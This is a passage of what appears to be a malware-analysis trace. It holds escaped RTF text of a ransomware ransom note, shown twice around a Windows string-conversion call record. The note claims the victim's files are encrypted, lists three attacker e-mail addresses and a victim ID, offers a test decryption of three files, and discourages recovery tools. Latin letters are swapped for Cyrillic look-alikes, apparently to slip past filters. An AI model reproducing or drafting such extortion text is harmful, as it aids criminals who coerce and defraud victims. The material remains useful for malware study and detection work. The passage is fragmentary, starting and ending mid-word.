h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll 